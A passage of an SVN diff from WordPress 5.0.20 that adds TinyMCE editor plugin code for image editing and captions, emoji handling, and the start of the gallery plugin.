+		editor.windowManager = new tinymce.WPWindowManager( editor );
+	});
+});
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wpeditimage/plugin.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wpeditimage/plugin.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wpeditimage/plugin.js	(revision 56912)
@@ -0,0 +1,877 @@
+/* global tinymce */
+tinymce.PluginManager.add( 'wpeditimage', function( editor ) {
+	var toolbar, serializer, touchOnImage, pasteInCaption,
+		each = tinymce.each,
+		trim = tinymce.trim,
+		iOS = tinymce.Env.iOS;
+
+	function isPlaceholder( node ) {
+		return !! ( editor.dom.getAttrib( node, 'data-mce-placeholder' ) || editor.dom.getAttrib( node, 'data-mce-object' ) );
+	}
+
+	editor.addButton( 'wp_img_remove', {
+		tooltip: 'Remove',
+		icon: 'dashicon dashicons-no',
+		onclick: function() {
+			removeImage( editor.selection.getNode() );
+		}
+	} );
+
+	editor.addButton( 'wp_img_edit', {
+		tooltip: 'Edit|button', // '|button' is not displayed, only used for context
+		icon: 'dashicon dashicons-edit',
+		onclick: function() {
+			editImage( editor.selection.getNode() );
+		}
+	} );
+
+	each( {
+		alignleft: 'Align left',
+		aligncenter: 'Align center',
+		alignright: 'Align right',
+		alignnone: 'No alignment'
+	}, function( tooltip, name ) {
+		var direction = name.slice( 5 );
+
+		editor.addButton( 'wp_img_' + name, {
+			tooltip: tooltip,
+			icon: 'dashicon dashicons-align-' + direction,
+			cmd: 'alignnone' === name ? 'wpAlignNone' : 'Justify' + direction.slice( 0, 1 ).toUpperCase() + direction.slice( 1 ),
+			onPostRender: function() {
+				var self = this;
+
+				editor.on( 'NodeChange', function( event ) {
+					var node;
+
+					// Don't bother.
+					if ( event.element.nodeName !== 'IMG' ) {
+						return;
+					}
+
+					node = editor.dom.getParent( event.element, '.wp-caption' ) || event.element;
+
+					if ( 'alignnone' === name ) {
+						self.active( ! /\balign(left|center|right)\b/.test( node.className ) );
+					} else {
+						self.active( editor.dom.hasClass( node, name ) );
+					}
+				} );
+			}
+		} );
+	} );
+
+	editor.once( 'preinit', function() {
+		if ( editor.wp && editor.wp._createToolbar ) {
+			toolbar = editor.wp._createToolbar( [
+				'wp_img_alignleft',
+				'wp_img_aligncenter',
+				'wp_img_alignright',
+				'wp_img_alignnone',
+				'wp_img_edit',
+				'wp_img_remove'
+			] );
+		}
+	} );
+
+	editor.on( 'wptoolbar', function( event ) {
+		if ( event.element.nodeName === 'IMG' && ! isPlaceholder( event.element ) ) {
+			event.toolbar = toolbar;
+		}
+	} );
+
+	function isNonEditable( node ) {
+		var parent = editor.$( node ).parents( '[contenteditable]' );
+		return parent && parent.attr( 'contenteditable' ) === 'false';
+	}
+
+	// Safari on iOS fails to select images in contentEditoble mode on touch.
+	// Select them again.
+	if ( iOS ) {
+		editor.on( 'init', function() {
+			editor.on( 'touchstart', function( event ) {
+				if ( event.target.nodeName === 'IMG' && ! isNonEditable( event.target ) ) {
+					touchOnImage = true;
+				}
+			});
+
+			editor.dom.bind( editor.getDoc(), 'touchmove', function() {
+				touchOnImage = false;
+			});
+
+			editor.on( 'touchend', function( event ) {
+				if ( touchOnImage && event.target.nodeName === 'IMG' && ! isNonEditable( event.target ) ) {
+					var node = event.target;
+
+					touchOnImage = false;
+
+					window.setTimeout( function() {
+						editor.selection.select( node );
+						editor.nodeChanged();
+					}, 100 );
+				} else if ( toolbar ) {
+					toolbar.hide();
+				}
+			});
+		});
+	}
+
+	function parseShortcode( content ) {
+		return content.replace( /(?:<p>)?\[(?:wp_)?caption([^\]]+)\]([\s\S]+?)\[\/(?:wp_)?caption\](?:<\/p>)?/g, function( a, b, c ) {
+			var id, align, classes, caption, img, width;
+
+			id = b.match( /id=['"]([^'"]*)['"] ?/ );
+			if ( id ) {
+				b = b.replace( id[0], '' );
+			}
+
+			align = b.match( /align=['"]([^'"]*)['"] ?/ );
+			if ( align ) {
+				b = b.replace( align[0], '' );
+			}
+
+			classes = b.match( /class=['"]([^'"]*)['"] ?/ );
+			if ( classes ) {
+				b = b.replace( classes[0], '' );
+			}
+
+			width = b.match( /width=['"]([0-9]*)['"] ?/ );
+			if ( width ) {
+				b = b.replace( width[0], '' );
+			}
+
+			c = trim( c );
+			img = c.match( /((?:<a [^>]+>)?<img [^>]+>(?:<\/a>)?)([\s\S]*)/i );
+
+			if ( img && img[2] ) {
+				caption = trim( img[2] );
+				img = trim( img[1] );
+			} else {
+				// old captions shortcode style
+				caption = trim( b ).replace( /caption=['"]/, '' ).replace( /['"]$/, '' );
+				img = c;
+			}
+
+			id = ( id && id[1] ) ? id[1].replace( /[<>&]+/g,  '' ) : '';
+			align = ( align && align[1] ) ? align[1] : 'alignnone';
+			classes = ( classes && classes[1] ) ? ' ' + classes[1].replace( /[<>&]+/g,  '' ) : '';
+
+			if ( ! width && img ) {
+				width = img.match( /width=['"]([0-9]*)['"]/ );
+			}
+
+			if ( width && width[1] ) {
+				width = width[1];
+			}
+
+			if ( ! width || ! caption ) {
+				return c;
+			}
+
+			width = parseInt( width, 10 );
+			if ( ! editor.getParam( 'wpeditimage_html5_captions' ) ) {
+				width += 10;
+			}
+
+			return '<div class="mceTemp"><dl id="' + id + '" class="wp-caption ' + align + classes + '" style="width: ' + width + 'px">' +
+				'<dt class="wp-caption-dt">'+ img +'</dt><dd class="wp-caption-dd">'+ caption +'</dd></dl></div>';
+		});
+	}
+
+	function getShortcode( content ) {
+		return content.replace( /(?:<div [^>]+mceTemp[^>]+>)?\s*(<dl [^>]+wp-caption[^>]+>[\s\S]+?<\/dl>)\s*(?:<\/div>)?/g, function( all, dl ) {
+			var out = '';
+
+			if ( dl.indexOf('<img ') === -1 || dl.indexOf('</p>') !== -1 ) {
+				// Broken caption. The user managed to drag the image out or type in the wrapper div?
+				// Remove the <dl>, <dd> and <dt> and return the remaining text.
+				return dl.replace( /<d[ldt]( [^>]+)?>/g, '' ).replace( /<\/d[ldt]>/g, '' );
+			}
+
+			out = dl.replace( /\s*<dl ([^>]+)>\s*<dt [^>]+>([\s\S]+?)<\/dt>\s*<dd [^>]+>([\s\S]*?)<\/dd>\s*<\/dl>\s*/gi, function( a, b, c, caption ) {
+				var id, classes, align, width;
+
+				width = c.match( /width="([0-9]*)"/ );
+				width = ( width && width[1] ) ? width[1] : '';
+
+				classes = b.match( /class="([^"]*)"/ );
+				classes = ( classes && classes[1] ) ? classes[1] : '';
+				align = classes.match( /align[a-z]+/i ) || 'alignnone';
+
+				if ( ! width || ! caption ) {
+					if ( 'alignnone' !== align[0] ) {
+						c = c.replace( /><img/, ' class="' + align[0] + '"><img' );
+					}
+					return c;
+				}
+
+				id = b.match( /id="([^"]*)"/ );
+				id = ( id && id[1] ) ? id[1] : '';
+
+				classes = classes.replace( /wp-caption ?|align[a-z]+ ?/gi, '' );
+
+				if ( classes ) {
+					classes = ' class="' + classes + '"';
+				}
+
+				caption = caption.replace( /\r\n|\r/g, '\n' ).replace( /<[a-zA-Z0-9]+( [^<>]+)?>/g, function( a ) {
+					// no line breaks inside HTML tags
+					return a.replace( /[\r\n\t]+/, ' ' );
+				});
+
+				// convert remaining line breaks to <br>
+				caption = caption.replace( /\s*\n\s*/g, '<br />' );
+
+				return '[caption id="' + id + '" align="' + align + '" width="' + width + '"' + classes + ']' + c + ' ' + caption + '[/caption]';
+			});
+
+			if ( out.indexOf('[caption') === -1 ) {
+				// the caption html seems broken, try to find the image that may be wrapped in a link
+				// and may be followed by <p> with the caption text.
+				out = dl.replace( /[\s\S]*?((?:<a [^>]+>)?<img [^>]+>(?:<\/a>)?)(<p>[\s\S]*<\/p>)?[\s\S]*/gi, '<p>$1</p>$2' );
+			}
+
+			return out;
+		});
+	}
+
+	function extractImageData( imageNode ) {
+		var classes, extraClasses, metadata, captionBlock, caption, link, width, height,
+			captionClassName = [],
+			dom = editor.dom,
+			isIntRegExp = /^\d+$/;
+
+		// default attributes
+		metadata = {
+			attachment_id: false,
+			size: 'custom',
+			caption: '',
+			align: 'none',
+			extraClasses: '',
+			link: false,
+			linkUrl: '',
+			linkClassName: '',
+			linkTargetBlank: false,
+			linkRel: '',
+			title: ''
+		};
+
+		metadata.url = dom.getAttrib( imageNode, 'src' );
+		metadata.alt = dom.getAttrib( imageNode, 'alt' );
+		metadata.title = dom.getAttrib( imageNode, 'title' );
+
+		width = dom.getAttrib( imageNode, 'width' );
+		height = dom.getAttrib( imageNode, 'height' );
+
+		if ( ! isIntRegExp.test( width ) || parseInt( width, 10 ) < 1 ) {
+			width = imageNode.naturalWidth || imageNode.width;
+		}
+
+		if ( ! isIntRegExp.test( height ) || parseInt( height, 10 ) < 1 ) {
+			height = imageNode.naturalHeight || imageNode.height;
+		}
+
+		metadata.customWidth = metadata.width = width;
+		metadata.customHeight = metadata.height = height;
+
+		classes = tinymce.explode( imageNode.className, ' ' );
+		extraClasses = [];
+
+		tinymce.each( classes, function( name ) {
+
+			if ( /^wp-image/.test( name ) ) {
+				metadata.attachment_id = parseInt( name.replace( 'wp-image-', '' ), 10 );
+			} else if ( /^align/.test( name ) ) {
+				metadata.align = name.replace( 'align', '' );
+			} else if ( /^size/.test( name ) ) {
+				metadata.size = name.replace( 'size-', '' );
+			} else {
+				extraClasses.push( name );
+			}
+
+		} );
+
+		metadata.extraClasses = extraClasses.join( ' ' );
+
+		// Extract caption
+		captionBlock = dom.getParents( imageNode, '.wp-caption' );
+
+		if ( captionBlock.length ) {
+			captionBlock = captionBlock[0];
+
+			classes = captionBlock.className.split( ' ' );
+			tinymce.each( classes, function( name ) {
+				if ( /^align/.test( name ) ) {
+					metadata.align = name.replace( 'align', '' );
+				} else if ( name && name !== 'wp-caption' ) {
+					captionClassName.push( name );
+				}
+			} );
+
+			metadata.captionClassName = captionClassName.join( ' ' );
+
+			caption = dom.select( 'dd.wp-caption-dd', captionBlock );
+			if ( caption.length ) {
+				caption = caption[0];
+
+				metadata.caption = editor.serializer.serialize( caption )
+					.replace( /<br[^>]*>/g, '$&\n' ).replace( /^<p>/, '' ).replace( /<\/p>$/, '' );
+			}
+		}
+
+		// Extract linkTo
+		if ( imageNode.parentNode && imageNode.parentNode.nodeName === 'A' ) {
+			link = imageNode.parentNode;
+			metadata.linkUrl = dom.getAttrib( link, 'href' );
+			metadata.linkTargetBlank = dom.getAttrib( link, 'target' ) === '_blank' ? true : false;
+			metadata.linkRel = dom.getAttrib( link, 'rel' );
+			metadata.linkClassName = link.className;
+		}
+
+		return metadata;
+	}
+
+	function hasTextContent( node ) {
+		return node && !! ( node.textContent || node.innerText ).replace( /\ufeff/g, '' );
+	}
+
+	// Verify HTML in captions
+	function verifyHTML( caption ) {
+		if ( ! caption || ( caption.indexOf( '<' ) === -1 && caption.indexOf( '>' ) === -1 ) ) {
+			return caption;
+		}
+
+		if ( ! serializer ) {
+			serializer = new tinymce.html.Serializer( {}, editor.schema );
+		}
+
+		return serializer.serialize( editor.parser.parse( caption, { forced_root_block: false } ) );
+	}
+
+	function updateImage( imageNode, imageData ) {
+		var classes, className, node, html, parent, wrap, linkNode,
+			captionNode, dd, dl, id, attrs, linkAttrs, width, height, align,
+			$imageNode, srcset, src,
+			dom = editor.dom;
+
+		classes = tinymce.explode( imageData.extraClasses, ' ' );
+
+		if ( ! classes ) {
+			classes = [];
+		}
+
+		if ( ! imageData.caption ) {
+			classes.push( 'align' + imageData.align );
+		}
+
+		if ( imageData.attachment_id ) {
+			classes.push( 'wp-image-' + imageData.attachment_id );
+			if ( imageData.size && imageData.size !== 'custom' ) {
+				classes.push( 'size-' + imageData.size );
+			}
+		}
+
+		width = imageData.width;
+		height = imageData.height;
+
+		if ( imageData.size === 'custom' ) {
+			width = imageData.customWidth;
+			height = imageData.customHeight;
+		}
+
+		attrs = {
+			src: imageData.url,
+			width: width || null,
+			height: height || null,
+			title: imageData.title || null,
+			'class': classes.join( ' ' ) || null
+		};
+
+		dom.setAttribs( imageNode, attrs );
+
+		// Preserve empty alt attributes.
+		editor.$( imageNode ).attr( 'alt', imageData.alt || '' );
+
+		linkAttrs = {
+			href: imageData.linkUrl,
+			rel: imageData.linkRel || null,
+			target: imageData.linkTargetBlank ? '_blank': null,
+			'class': imageData.linkClassName || null
+		};
+
+		if ( imageNode.parentNode && imageNode.parentNode.nodeName === 'A' && ! hasTextContent( imageNode.parentNode ) ) {
+			// Update or remove an existing link wrapped around the image
+			if ( imageData.linkUrl ) {
+				dom.setAttribs( imageNode.parentNode, linkAttrs );
+			} else {
+				dom.remove( imageNode.parentNode, true );
+			}
+		} else if ( imageData.linkUrl ) {
+			if ( linkNode = dom.getParent( imageNode, 'a' ) ) {
+				// The image is inside a link together with other nodes,
+				// or is nested in another node, move it out
+				dom.insertAfter( imageNode, linkNode );
+			}
+
+			// Add link wrapped around the image
+			linkNode = dom.create( 'a', linkAttrs );
+			imageNode.parentNode.insertBefore( linkNode, imageNode );
+			linkNode.appendChild( imageNode );
+		}
+
+		captionNode = editor.dom.getParent( imageNode, '.mceTemp' );
+
+		if ( imageNode.parentNode && imageNode.parentNode.nodeName === 'A' && ! hasTextContent( imageNode.parentNode ) ) {
+			node = imageNode.parentNode;
+		} else {
+			node = imageNode;
+		}
+
+		if ( imageData.caption ) {
+			imageData.caption = verifyHTML( imageData.caption );
+
+			id = imageData.attachment_id ? 'attachment_' + imageData.attachment_id : null;
+			align = 'align' + ( imageData.align || 'none' );
+			className = 'wp-caption ' + align;
+
+			if ( imageData.captionClassName ) {
+				className += ' ' + imageData.captionClassName.replace( /[<>&]+/g,  '' );
+			}
+
+			if ( ! editor.getParam( 'wpeditimage_html5_captions' ) ) {
+				width = parseInt( width, 10 );
+				width += 10;
+			}
+
+			if ( captionNode ) {
+				dl = dom.select( 'dl.wp-caption', captionNode );
+
+				if ( dl.length ) {
+					dom.setAttribs( dl, {
+						id: id,
+						'class': className,
+						style: 'width: ' + width + 'px'
+					} );
+				}
+
+				dd = dom.select( '.wp-caption-dd', captionNode );
+
+				if ( dd.length ) {
+					dom.setHTML( dd[0], imageData.caption );
+				}
+
+			} else {
+				id = id ? 'id="'+ id +'" ' : '';
+
+				// should create a new function for generating the caption markup
+				html =  '<dl ' + id + 'class="' + className +'" style="width: '+ width +'px">' +
+					'<dt class="wp-caption-dt"></dt><dd class="wp-caption-dd">'+ imageData.caption +'</dd></dl>';
+
+				wrap = dom.create( 'div', { 'class': 'mceTemp' }, html );
+
+				if ( parent = dom.getParent( node, 'p' ) ) {
+					parent.parentNode.insertBefore( wrap, parent );
+				} else {
+					node.parentNode.insertBefore( wrap, node );
+				}
+
+				editor.$( wrap ).find( 'dt.wp-caption-dt' ).append( node );
+
+				if ( parent && dom.isEmpty( parent ) ) {
+					dom.remove( parent );
+				}
+			}
+		} else if ( captionNode ) {
+			// Remove the caption wrapper and place the image in new paragraph
+			parent = dom.create( 'p' );
+			captionNode.parentNode.insertBefore( parent, captionNode );
+			parent.appendChild( node );
+			dom.remove( captionNode );
+		}
+
+		$imageNode = editor.$( imageNode );
+		srcset = $imageNode.attr( 'srcset' );
+		src = $imageNode.attr( 'src' );
+
+		// Remove srcset and sizes if the image file was edited or the image was replaced.
+		if ( srcset && src ) {
+			src = src.replace( /[?#].*/, '' );
+
+			if ( srcset.indexOf( src ) === -1 ) {
+				$imageNode.attr( 'srcset', null ).attr( 'sizes', null );
+			}
+		}
+
+		if ( wp.media.events ) {
+			wp.media.events.trigger( 'editor:image-update', {
+				editor: editor,
+				metadata: imageData,
+				image: imageNode
+			} );
+		}
+
+		editor.nodeChanged();
+	}
+
+	function editImage( img ) {
+		var frame, callback, metadata;
+
+		if ( typeof wp === 'undefined' || ! wp.media ) {
+			editor.execCommand( 'mceImage' );
+			return;
+		}
+
+		metadata = extractImageData( img );
+
+		// Manipulate the metadata by reference that is fed into the PostImage model used in the media modal
+		wp.media.events.trigger( 'editor:image-edit', {
+			editor: editor,
+			metadata: metadata,
+			image: img
+		} );
+
+		frame = wp.media({
+			frame: 'image',
+			state: 'image-details',
+			metadata: metadata
+		} );
+
+		wp.media.events.trigger( 'editor:frame-create', { frame: frame } );
+
+		callback = function( imageData ) {
+			editor.focus();
+			editor.undoManager.transact( function() {
+				updateImage( img, imageData );
+			} );
+			frame.detach();
+		};
+
+		frame.state('image-details').on( 'update', callback );
+		frame.state('replace-image').on( 'replace', callback );
+		frame.on( 'close', function() {
+			editor.focus();
+			frame.detach();
+		});
+
+		frame.open();
+	}
+
+	function removeImage( node ) {
+		var wrap = editor.dom.getParent( node, 'div.mceTemp' );
+
+		if ( ! wrap && node.nodeName === 'IMG' ) {
+			wrap = editor.dom.getParent( node, 'a' );
+		}
+
+		if ( wrap ) {
+			if ( wrap.nextSibling ) {
+				editor.selection.select( wrap.nextSibling );
+			} else if ( wrap.previousSibling ) {
+				editor.selection.select( wrap.previousSibling );
+			} else {
+				editor.selection.select( wrap.parentNode );
+			}
+
+			editor.selection.collapse( true );
+			editor.dom.remove( wrap );
+		} else {
+			editor.dom.remove( node );
+		}
+
+		editor.nodeChanged();
+		editor.undoManager.add();
+	}
+
+	editor.on( 'init', function() {
+		var dom = editor.dom,
+			captionClass = editor.getParam( 'wpeditimage_html5_captions' ) ? 'html5-captions' : 'html4-captions';
+
+		dom.addClass( editor.getBody(), captionClass );
+
+		// Prevent IE11 from making dl.wp-caption resizable
+		if ( tinymce.Env.ie && tinymce.Env.ie > 10 ) {
+			// The 'mscontrolselect' event is supported only in IE11+
+			dom.bind( editor.getBody(), 'mscontrolselect', function( event ) {
+				if ( event.target.nodeName === 'IMG' && dom.getParent( event.target, '.wp-caption' ) ) {
+					// Hide the thick border with resize handles around dl.wp-caption
+					editor.getBody().focus(); // :(
+				} else if ( event.target.nodeName === 'DL' && dom.hasClass( event.target, 'wp-caption' ) ) {
+					// Trigger the thick border with resize handles...
+					// This will make the caption text editable.
+					event.target.focus();
+				}
+			});
+		}
+	});
+
+	editor.on( 'ObjectResized', function( event ) {
+		var node = event.target;
+
+		if ( node.nodeName === 'IMG' ) {
+			editor.undoManager.transact( function() {
+				var parent, width,
+					dom = editor.dom;
+
+				node.className = node.className.replace( /\bsize-[^ ]+/, '' );
+
+				if ( parent = dom.getParent( node, '.wp-caption' ) ) {
+					width = event.width || dom.getAttrib( node, 'width' );
+
+					if ( width ) {
+						width = parseInt( width, 10 );
+
+						if ( ! editor.getParam( 'wpeditimage_html5_captions' ) ) {
+							width += 10;
+						}
+
+						dom.setStyle( parent, 'width', width + 'px' );
+					}
+				}
+			});
+		}
+	});
+
+	editor.on( 'pastePostProcess', function( event ) {
+		// Pasting in a caption node.
+		if ( editor.dom.getParent( editor.selection.getNode(), 'dd.wp-caption-dd' ) ) {
+			// Remove "non-block" elements that should not be in captions.
+			editor.$( 'img, audio, video, object, embed, iframe, script, style', event.node ).remove();
+
+			editor.$( '*', event.node ).each( function( i, node ) {
+				if ( editor.dom.isBlock( node ) ) {
+					// Insert <br> where the blocks used to be. Makes it look better after pasting in the caption.
+					if ( tinymce.trim( node.textContent || node.innerText ) ) {
+						editor.dom.insertAfter( editor.dom.create( 'br' ), node );
+						editor.dom.remove( node, true );
+					} else {
+						editor.dom.remove( node );
+					}
+				}
+			});
+
+			// Trim <br> tags.
+			editor.$( 'br',  event.node ).each( function( i, node ) {
+				if ( ! node.nextSibling || node.nextSibling.nodeName === 'BR' ||
+					! node.previousSibling || node.previousSibling.nodeName === 'BR' ) {
+
+					editor.dom.remove( node );
+				}
+			} );
+
+			// Pasted HTML is cleaned up for inserting in the caption.
+			pasteInCaption = true;
+		}
+	});
+
+	editor.on( 'BeforeExecCommand', function( event ) {
+		var node, p, DL, align, replacement, captionParent,
+			cmd = event.command,
+			dom = editor.dom;
+
+		if ( cmd === 'mceInsertContent' || cmd === 'Indent' || cmd === 'Outdent' ) {
+			node = editor.selection.getNode();
+			captionParent = dom.getParent( node, 'div.mceTemp' );
+
+			if ( captionParent ) {
+				if ( cmd === 'mceInsertContent' ) {
+					if ( pasteInCaption ) {
+						pasteInCaption = false;
+						// We are in the caption element, and in 'paste' context,
+						// and the pasted HTML was cleaned up on 'pastePostProcess' above.
+						// Let it be pasted in the caption.
+						return;
+					}
+
+					// The paste is somewhere else in the caption DL element.
+					// Prevent pasting in there as it will break the caption.
+					// Make new paragraph under the caption DL and move the caret there.
+					p = dom.create( 'p' );
+					dom.insertAfter( p, captionParent );
+					editor.selection.setCursorLocation( p, 0 );
+
+					// If the image is selected and the user pastes "over" it,
+					// replace both the image and the caption elements with the pasted content.
+					// This matches the behavior when pasting over non-caption images.
+					if ( node.nodeName === 'IMG' ) {
+                        editor.$( captionParent ).remove();
+                    }
+
+					editor.nodeChanged();
+				} else {
+					// Clicking Indent or Outdent while an image with a caption is selected breaks the caption.
+					// See #38313.
+					event.preventDefault();
+					event.stopImmediatePropagation();
+					return false;
+				}
+			}
+		} else if ( cmd === 'JustifyLeft' || cmd === 'JustifyRight' || cmd === 'JustifyCenter' || cmd === 'wpAlignNone' ) {
+			node = editor.selection.getNode();
+			align = 'align' + cmd.slice( 7 ).toLowerCase();
+			DL = editor.dom.getParent( node, '.wp-caption' );
+
+			if ( node.nodeName !== 'IMG' && ! DL ) {
+				return;
+			}
+
+			node = DL || node;
+
+			if ( editor.dom.hasClass( node, align ) ) {
+				replacement = ' alignnone';
+			} else {
+				replacement = ' ' + align;
+			}
+
+			node.className = trim( node.className.replace( / ?align(left|center|right|none)/g, '' ) + replacement );
+
+			editor.nodeChanged();
+			event.preventDefault();
+
+			if ( toolbar ) {
+				toolbar.reposition();
+			}
+
+			editor.fire( 'ExecCommand', {
+				command: cmd,
+				ui: event.ui,
+				value: event.value
+			} );
+		}
+	});
+
+	editor.on( 'keydown', function( event ) {
+		var node, wrap, P, spacer,
+			selection = editor.selection,
+			keyCode = event.keyCode,
+			dom = editor.dom,
+			VK = tinymce.util.VK;
+
+		if ( keyCode === VK.ENTER ) {
+			// When pressing Enter inside a caption move the caret to a new parapraph under it
+			node = selection.getNode();
+			wrap = dom.getParent( node, 'div.mceTemp' );
+
+			if ( wrap ) {
+				dom.events.cancel( event ); // Doesn't cancel all :(
+
+				// Remove any extra dt and dd cleated on pressing Enter...
+				tinymce.each( dom.select( 'dt, dd', wrap ), function( element ) {
+					if ( dom.isEmpty( element ) ) {
+						dom.remove( element );
+					}
+				});
+
+				spacer = tinymce.Env.ie && tinymce.Env.ie < 11 ? '' : '<br data-mce-bogus="1" />';
+				P = dom.create( 'p', null, spacer );
+
+				if ( node.nodeName === 'DD' ) {
+					dom.insertAfter( P, wrap );
+				} else {
+					wrap.parentNode.insertBefore( P, wrap );
+				}
+
+				editor.nodeChanged();
+				selection.setCursorLocation( P, 0 );
+			}
+		} else if ( keyCode === VK.DELETE || keyCode === VK.BACKSPACE ) {
+			node = selection.getNode();
+
+			if ( node.nodeName === 'DIV' && dom.hasClass( node, 'mceTemp' ) ) {
+				wrap = node;
+			} else if ( node.nodeName === 'IMG' || node.nodeName === 'DT' || node.nodeName === 'A' ) {
+				wrap = dom.getParent( node, 'div.mceTemp' );
+			}
+
+			if ( wrap ) {
+				dom.events.cancel( event );
+				removeImage( node );
+				return false;
+			}
+		}
+	});
+
+	// After undo/redo FF seems to set the image height very slowly when it is set to 'auto' in the CSS.
+	// This causes image.getBoundingClientRect() to return wrong values and the resize handles are shown in wrong places.
+	// Collapse the selection to remove the resize handles.
+	if ( tinymce.Env.gecko ) {
+		editor.on( 'undo redo', function() {
+			if ( editor.selection.getNode().nodeName === 'IMG' ) {
+				editor.selection.collapse();
+			}
+		});
+	}
+
+	editor.wpSetImgCaption = function( content ) {
+		return parseShortcode( content );
+	};
+
+	editor.wpGetImgCaption = function( content ) {
+		return getShortcode( content );
+	};
+
+	editor.on( 'beforeGetContent', function( event ) {
+		if ( event.format !== 'raw' ) {
+			editor.$( 'img[id="__wp-temp-img-id"]' ).attr( 'id', null );
+		}
+	});
+
+	editor.on( 'BeforeSetContent', function( event ) {
+		if ( event.format !== 'raw' ) {
+			event.content = editor.wpSetImgCaption( event.content );
+		}
+	});
+
+	editor.on( 'PostProcess', function( event ) {
+		if ( event.get ) {
+			event.content = editor.wpGetImgCaption( event.content );
+		}
+	});
+
+	( function() {
+		var wrap;
+
+		editor.on( 'dragstart', function() {
+			var node = editor.selection.getNode();
+
+			if ( node.nodeName === 'IMG' ) {
+				wrap = editor.dom.getParent( node, '.mceTemp' );
+
+				if ( ! wrap && node.parentNode.nodeName === 'A' && ! hasTextContent( node.parentNode ) ) {
+					wrap = node.parentNode;
+				}
+			}
+		} );
+
+		editor.on( 'drop', function( event ) {
+			var dom = editor.dom,
+				rng = tinymce.dom.RangeUtils.getCaretRangeFromPoint( event.clientX, event.clientY, editor.getDoc() );
+
+			// Don't allow anything to be dropped in a captioned image.
+			if ( rng && dom.getParent( rng.startContainer, '.mceTemp' ) ) {
+				event.preventDefault();
+			} else if ( wrap ) {
+				event.preventDefault();
+
+				editor.undoManager.transact( function() {
+					if ( rng ) {
+						editor.selection.setRng( rng );
+					}
+
+					editor.selection.setNode( wrap );
+					dom.remove( wrap );
+				} );
+			}
+
+			wrap = null;
+		} );
+	} )();
+
+	// Add to editor.wp
+	editor.wp = editor.wp || {};
+	editor.wp.isPlaceholder = isPlaceholder;
+
+	// Back-compat.
+	return {
+		_do_shcode: parseShortcode,
+		_get_shcode: getShortcode
+	};
+});
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wpemoji/plugin.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wpemoji/plugin.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wpemoji/plugin.js	(revision 56912)
@@ -0,0 +1,128 @@
+( function( tinymce, wp, settings ) {
+	tinymce.PluginManager.add( 'wpemoji', function( editor ) {
+		var typing,
+			env = tinymce.Env,
+			ua = window.navigator.userAgent,
+			isWin = ua.indexOf( 'Windows' ) > -1,
+			isWin8 = ( function() {
+				var match = ua.match( /Windows NT 6\.(\d)/ );
+
+				if ( match && match[1] > 1 ) {
+					return true;
+				}
+
+				return false;
+			}());
+
+		if ( ! wp || ! wp.emoji || settings.supports.everything ) {
+			return;
+		}
+
+		function setImgAttr( image ) {
+			image.className = 'emoji';
+			image.setAttribute( 'data-mce-resize', 'false' );
+			image.setAttribute( 'data-mce-placeholder', '1' );
+			image.setAttribute( 'data-wp-emoji', '1' );
+		}
+
+		function replaceEmoji( node ) {
+			var imgAttr = {
+				'data-mce-resize': 'false',
+				'data-mce-placeholder': '1',
+				'data-wp-emoji': '1'
+			};
+
+			wp.emoji.parse( node, { imgAttr: imgAttr } );
+		}
+
+		// Test if the node text contains emoji char(s) and replace.
+		function parseNode( node ) {
+			var selection, bookmark;
+
+			if ( node && window.twemoji && window.twemoji.test( node.textContent || node.innerText ) ) {
+				if ( env.webkit ) {
+					selection = editor.selection;
+					bookmark = selection.getBookmark();
+				}
+
+				replaceEmoji( node );
+
+				if ( env.webkit ) {
+					selection.moveToBookmark( bookmark );
+				}
+			}
+		}
+
+		if ( isWin8 ) {
+			// Windows 8+ emoji can be "typed" with the onscreen keyboard.
+			// That triggers the normal keyboard events, but not the 'input' event.
+			// Thankfully it sets keyCode 231 when the onscreen keyboard inserts any emoji.
+			editor.on( 'keyup', function( event ) {
+				if ( event.keyCode === 231 ) {
+					parseNode( editor.selection.getNode() );
+				}
+			} );
+		} else if ( ! isWin ) {
+			// In MacOS inserting emoji doesn't trigger the stanradr keyboard events.
+			// Thankfully it triggers the 'input' event.
+			// This works in Android and iOS as well.
+			editor.on( 'keydown keyup', function( event ) {
+				typing = ( event.type === 'keydown' );
+			} );
+
+			editor.on( 'input', function() {
+				if ( typing ) {
+					return;
+				}
+
+				parseNode( editor.selection.getNode() );
+			});
+		}
+
+		editor.on( 'setcontent', function( event ) {
+			var selection = editor.selection,
+				node = selection.getNode();
+
+			if ( window.twemoji && window.twemoji.test( node.textContent || node.innerText ) ) {
+				replaceEmoji( node );
+
+				// In IE all content in the editor is left selected after wp.emoji.parse()...
+				// Collapse the selection to the beginning.
+				if ( env.ie && env.ie < 9 && event.load && node && node.nodeName === 'BODY' ) {
+					selection.collapse( true );
+				}
+			}
+		} );
+
+		// Convert Twemoji compatible pasted emoji replacement images into our format.
+		editor.on( 'PastePostProcess', function( event ) {
+			if ( window.twemoji ) {
+				tinymce.each( editor.dom.$( 'img.emoji', event.node ), function( image ) {
+					if ( image.alt && window.twemoji.test( image.alt ) ) {
+						setImgAttr( image );
+					}
+				});
+			}
+		});
+
+		editor.on( 'postprocess', function( event ) {
+			if ( event.content ) {
+				event.content = event.content.replace( /<img[^>]+data-wp-emoji="[^>]+>/g, function( img ) {
+					var alt = img.match( /alt="([^"]+)"/ );
+
+					if ( alt && alt[1] ) {
+						return alt[1];
+					}
+
+					return img;
+				});
+			}
+		} );
+
+		editor.on( 'resolvename', function( event ) {
+			if ( event.target.nodeName === 'IMG' && editor.dom.getAttrib( event.target, 'data-wp-emoji' ) ) {
+				event.preventDefault();
+			}
+		} );
+	} );
+} )( window.tinymce, window.wp, window._wpemojiSettings );
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wpgallery/plugin.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wpgallery/plugin.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wpgallery/plugin.js	(revision 56912)
@@ -0,0 +1,112 @@
+/* global tinymce */
+tinymce.PluginManager.add('wpgallery', function( editor ) {
+
+	function replaceGalleryShortcodes( content ) {
+		return content.replace( /\[gallery([^\]]*)\]/g, function( match ) {
+			return html( 'wp-gallery', match );
+		});
+	}
+
